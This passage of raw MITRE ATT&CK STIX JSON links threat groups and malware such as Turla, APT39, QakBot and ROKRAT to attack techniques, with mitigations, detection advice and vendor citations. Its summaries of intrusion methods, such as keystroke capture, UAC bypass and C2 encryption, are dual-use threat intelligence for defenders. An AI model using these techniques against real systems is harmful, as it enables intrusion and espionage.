Sieve](https://attack.mitre.org/software/S1035) can use a custom hex byte swapping encoding scheme to obfuscate tasking traffic.(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: NCSC GCHQ Small Sieve Jan 2022)","relationship_type":"uses","source_ref":"malware--ff41b9b6-4c1d-407b-a7e2-835109c8dbc5","target_ref":"attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--362b2f10-f599-4663-9cff-27932e11935a","type":"relationship","created":"2020-01-30T14:40:20.608Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-27T12:04:38.045Z","description":"System settings can prevent applications from running that haven't been downloaded through the Apple Store which may help mitigate some of these issues. Not allowing unsigned applications from being run may also mitigate some risk.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--362e332d-7763-488d-b25d-f12965f56d62","type":"relationship","created":"2021-08-04T13:44:25.225Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T13:57:21.790Z","description":"[BoomBox](https://attack.mitre.org/software/S0635) has the ability to execute an LDAP query to enumerate the distinguished name, SAM account name, and display name for all domain users.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--c26f1c05-b861-4970-94dc-2f7f921a3074","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--362f4bd6-59d6-4e3f-81f0-5358b7f3f9d5","type":"relationship","created":"2020-10-20T03:21:37.453Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-12-09T21:55:39.945Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3632ab1c-caa3-4d65-a665-7da325f4b7ac","type":"relationship","created":"2020-12-11T17:55:14.440Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike GTR2020 Mar 2020","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}],"modified":"2020-12-11T17:55:14.440Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used multiple backdoors which communicate with a C2 server via email attachments.(Citation: Crowdstrike GTR2020 Mar 2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3633dab7-324d-4726-af7c-226022996785","created":"2022-04-19T03:06:46.429Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malicious Driver Reporting Center","url":"https://www.microsoft.com/security/blog/2021/12/08/improve-kernel-security-with-the-new-microsoft-vulnerable-and-malicious-driver-reporting-center/","description":"Azure Edge and Platform Security Team & Microsoft 365 Defender Research Team. (2021, December 8). Improve kernel security with the new Microsoft Vulnerable and Malicious Driver Reporting Center. Retrieved April 6, 2022."},{"source_name":"Microsoft driver block rules","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules","description":"Jordan Geurten et al. . (2022, March 29). Microsoft recommended driver block rules. Retrieved April 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent an application from writing a signed vulnerable driver to the system.(Citation: Malicious Driver Reporting Center) On Windows 10 and 11, enable Microsoft Vulnerable Driver Blocklist to assist in hardening against third party-developed drivers.(Citation: Microsoft driver block rules) ","modified":"2022-04-19T03:06:46.429Z","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3642f351-831b-4c4f-b1d6-4673db4a70a1","type":"relationship","created":"2020-01-28T17:05:15.027Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-29T21:17:03.911Z","description":"Protect generated event files that are stored locally with proper permissions and authentication and limit opportunities for adversaries to increase privileges by preventing Privilege Escalation opportunities.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3643f451-322d-4f38-91a4-00a55a42c7f5","type":"relationship","created":"2017-05-31T21:33:27.046Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"}],"modified":"2019-07-14T21:04:45.638Z","description":"(Citation: Kaspersky Turla)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"tool--4664b683-f578-434f-919b-1c1aad2a1111","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--364be248-6fa2-42a2-847b-35e6f43fd06d","created":"2020-05-22T15:43:05.223Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender Chafer May 2020","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.","url":"https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"},{"source_name":"Symantec Chafer February 2018","description":"Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-18T16:19:53.776Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used post-exploitation tools including RemCom and the Non-sucking Service Manager (NSSM) to execute processes.(Citation: BitDefender Chafer May 2020)(Citation: Symantec Chafer February 2018)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--364d9326-12af-4449-924c-8063f4b3aa41","type":"relationship","created":"2020-09-30T14:29:28.434Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCSC APT29 July 2020","url":"https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf","description":"National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."},{"source_name":"CISA SoreFang July 2016","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a","description":"CISA. (2020, July 16). MAR-10296782-1.v1 – SOREFANG. Retrieved September 29, 2020."}],"modified":"2020-09-30T14:29:28.434Z","description":"(Citation: NCSC APT29 July 2020)(Citation: CISA SoreFang July 2016)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--e33e4603-afab-402d-b2a1-248d435b5fe0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--364f1a31-7710-4b81-91ce-919a89cdedcf","type":"relationship","created":"2022-03-26T03:47:58.780Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mythc Documentation","url":"https://docs.mythic-c2.net/","description":"Thomas, C. (n.d.). Mythc Documentation. Retrieved March 25, 2022."}],"modified":"2022-03-26T03:47:58.780Z","description":"[Mythic](https://attack.mitre.org/software/S0699) supports SMB-based peer-to-peer C2 profiles.(Citation: Mythc Documentation)\t","relationship_type":"uses","source_ref":"tool--d505fc8b-2e64-46eb-96d6-9ef7ffca5b66","target_ref":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3655c6ae-38bf-4cd3-b229-b7e182fe6513","type":"relationship","created":"2021-09-28T20:13:25.317Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Qakbot October 2020","url":"https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/","description":"CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021."}],"modified":"2021-09-28T20:13:25.317Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can use MSIExec to spawn multiple cmd.exe processes.(Citation: Crowdstrike Qakbot October 2020)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3657d3de-d279-47f0-ab54-68ca82f4536d","type":"relationship","created":"2019-04-23T13:43:22.921Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2019-09-16T17:23:48.983Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) can utilize multiple methods to bypass UAC.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--365897c8-a97b-42e0-8fb8-cc08c23545df","created":"2021-03-30T17:38:34.719Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kubernetes Security Context","description":"Kubernetes. (n.d.). Configure a Security Context for a Pod or Container. Retrieved March 8, 2023.","url":"https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"},{"source_name":"Kubernetes Hardening Guide","description":"National Security Agency, Cybersecurity and Infrastructure Security Agency. (2022, March). Kubernetes Hardening Guide. Retrieved April 1, 2022.","url":"https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-15T16:07:57.203Z","description":"Use read-only containers, read-only file systems, and minimal images when possible to prevent the running of commands.(Citation: Kubernetes Hardening Guide) Where possible, also consider using application control and software restriction tools (such as those provided by SELinux) to restrict access to files, processes, and system calls in containers.(Citation: Kubernetes Security Context)","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3658d2f3-25f5-404a-bf0b-7c5fce9978f6","created":"2023-03-17T15:27:20.668Z","revoked":false,"external_references":[{"source_name":"McAfee Lazarus Jul 2020","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T15:27:20.668Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) used an AES key to communicate with their C2 server.(Citation: McAfee Lazarus Jul 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--365e1449-7ef2-4370-9f42-7d288f883d99","type":"relationship","created":"2020-02-27T18:00:08.521Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://adsecurity.org/?p=2293","description":"Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.","source_name":"AdSecurity Cracking Kerberos Dec 2015"}],"modified":"2020-03-25T21:46:46.995Z","description":"Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire.(Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting.(Citation: AdSecurity Cracking Kerberos Dec 2015)","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--365f82e7-6fad-44a7-855d-955d4307920f","type":"relationship","created":"2020-05-28T16:38:03.777Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."}],"modified":"2020-06-08T19:12:14.263Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can spread itself by infecting other portable executable files on networks shared drives.(Citation: Eset Ramsay May 2020)\t","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--366114a1-6937-4c6a-b866-bf48381b9df8","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3667c499-ca5d-48fe-9729-44876c176dc2","type":"relationship","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.876Z","description":"Monitor for executed commands and arguments for PowerShell cmdlets that can be used to retrieve or modify file and directory DACLs.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--36693ec3-9b3c-4129-af32-b8372c75211c","created":"2022-06-02T15:56:41.265Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."},{"source_name":"Dragos Hexane","url":"https://dragos.com/resource/hexane/","description":"Dragos. (n.d.). Hexane. Retrieved October 27, 2019."},{"source_name":"SecureWorks August 2019","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "},{"source_name":"Zscaler Lyceum DnsSystem June 2022","url":"https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor","description":"Shivtarkar, N. and Kumar, A. (2022, June 9). Lyceum .NET DNS Backdoor. Retrieved June 23, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has relied on victim's executing malicious file attachments delivered via email or embedded within actor-controlled websites to deliver malware.(Citation: SecureWorks August 2019)(Citation: Dragos Hexane)(Citation: ClearSky Siamesekitten August 2021)(Citation: Zscaler Lyceum DnsSystem June 2022)","modified":"2022-09-01T15:19:56.618Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--366bf114-ddd3-473a-9468-c82811c6ed70","type":"relationship","created":"2019-04-17T13:46:38.688Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Astaroth Feb 2019","url":"https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research","description":"Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019."}],"modified":"2020-11-09T16:36:23.571Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) searches for different processes on the system.(Citation: Cybereason Astaroth Feb 2019)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--366c4cf9-7ea1-4751-9415-bcd3a1c52b27","created":"2018-10-17T00:14:20.652Z","x_mitre_version":"1.0","external_references":[{"source_name":"Volexity InkySquid RokRAT August 2021","url":"https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/","description":"Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021."},{"source_name":"Talos ROKRAT","url":"https://blog.talosintelligence.com/2017/04/introducing-rokrat.html","description":"Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ROKRAT](https://attack.mitre.org/software/S0240) can use `SetWindowsHookEx` and `GetKeyNameText` to capture keystrokes.(Citation: Talos ROKRAT)(Citation: Volexity InkySquid RokRAT August 2021)","modified":"2022-04-18T13:38:15.723Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3671c28f-927b-40e0-ba75-079c0aafea5b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Turla Mosquito Jan 2018","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"}],"modified":"2020-03-20T01:55:35.163Z","description":"[Mosquito](https://attack.mitre.org/software/S0256) uses a custom encryption algorithm, which consists of XOR and a stream that is similar to the Blum Blum Shub algorithm.(Citation: ESET Turla Mosquito Jan 2018)","relationship_type":"uses","source_ref":"malware--92b55426-109f-4d93-899f-1833ce91ff90","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3674346a-5212-4b42-9c1d-3e73eee95d06","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Comnie","description":"Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}],"modified":"2020-03-20T21:08:08.878Z","description":"[Comnie](https://attack.mitre.org/software/S0244) uses blogs and third-party sites (GitHub, tumbler, and BlogSpot) to avoid DNS-based blocking of their communication to the command and control server.(Citation: Palo Alto Comnie)","relationship_type":"uses","source_ref":"malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--36755c7d-92bf-4851-91ef-f1bf41f27210","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Briba May 2012","description":"Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99"}],"modified":"2021-02-09T14:56:14.790Z","description":"[Briba](https://attack.mitre.org/software/S0204) downloads files onto infected hosts.(Citation: Symantec Briba May 2012)","relationship_type":"uses","source_ref":"malware--79499993-a8d6-45eb-b343-bf58dea5bdde","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3683548e-0331-4407-98b0-82253efc0b09","type":"relationship","created":"2020-11-09T16:28:37.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-09T16:28:37.709Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) has used malicious files including VBS, LNK, and HTML for execution.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--36838da3-5543-4998-b125-0a50d31d288e","type":"relationship","created":"2021-04-13T19:29:21.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks BRONZE PRESIDENT December 2019","url":"https://www.secureworks.com/research/bronze-president-targets-ngos","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."}],"modified":"2021-04-19T17:52:40.800Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has used mshta.exe to launch collection scripts.(Citation: Secureworks BRONZE PRESIDENT December 2019)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--36849ab3-088c-47a5-bcf9-3e68902a2e60","type":"relationship","created":"2021-03-15T18:58:38.412Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Ebury Oct 2017","url":"https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/","description":"Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 